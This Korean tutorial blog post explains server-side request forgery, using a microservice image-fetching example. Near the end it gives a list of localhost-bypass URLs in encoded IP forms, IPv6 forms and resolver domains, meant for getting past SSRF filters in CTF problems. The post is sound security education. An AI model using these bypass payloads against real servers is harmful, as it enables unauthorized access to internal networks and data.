SSRF
SSRF란?
SSRF는 Server Side Request Forgery의 약자이다. 어디서 뭔가 비슷한 게 보이지 않나 바로 CSRF이다. CSRF가 클라이언트 중심의 공격이었다면 SSRF는 서버 쪽을 타깃으로 하는 공격 기법이다. SSRF를 알기 위해서 Microservice를 아는 것이 필요한데 쉽게 설명하겠다.
Microservice
현대에는 마이크로 서비스중심의 아키텍처를 가지고 있는데 말이 좀 어려워서 그런 거지 그냥 서비스마다 각각 나누어 설계한다라는 의미이다. 나누어 설계를 하다 보니 서버에서도 어느 하나의 서비스가 필요하다 하면내부망의 서버끼리 통신하면서 데이터를 가져오고 보낸다. 아래의 이미지(example)에서도 서비스마다 따로 설계하여 로그인할 때도 서버 내부에서 Profile정보서비스랑 통신을 해 Profile정보를 가져오는 이런 방법이 Microservice이다.
SSRF
마이크로 서비스 아키텍처를 따라서 각각의 서비스마다 통신을 하게 되는데 만약 사용자의 입력값이 들어와 그 입력값을 필터링하지 않고 서버끼리 통신을 하게 된다면 SSRF에 취약하게 된다. 아래의 그림으로 설명하겠다.
이미지의 경로를 입력하면 해당 이미지를 출력해주는 곳이 있다고 생각해보자. 하지만 이미지 출력 서비스에서 이미지만 반환해 주는 것이 아니라 모든 결과를 출력해주게 된다면 우리는 접속할 수 없는 내부망의 중요한 정보들을 탈취하거나 내부망에 침입을 할 수 있게 된다.
localhost bypass
SSRF CTF나 문제들에서는 localhost를 우회해야 하는 상황이 오게 된다. 아래를 참고하기 바란다.
http://[::]
http://127.0.0.1
http://0.0.0.0
http://localhost
http://[::]
http://0000::1
http://spoofed.burpcollaborator.net
http://localtest.me
http://localhost.hahwul.com
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://0/
http://127.1
http://127.0.1
http://2130706433
http://0177.0.0.1
http://o177.0.0.1
http://0o177.0.0.1
http://q177.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1] #IPv6
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/
❗ 저작권
'Hacking > Web' 카테고리의 다른 글
[Web Hacking] DNS rebinding (0) | 2022.07.30 |
---|---|
[Web Hacking] Missconfiguration DBMS (0) | 2022.07.26 |
[Web Hacking] Command Injection (0) | 2022.07.24 |
[Web Hacking] No SQL Injection(Mongo DB) (0) | 2022.07.23 |
[Web Hacking] No SQL Database (0) | 2022.07.23 |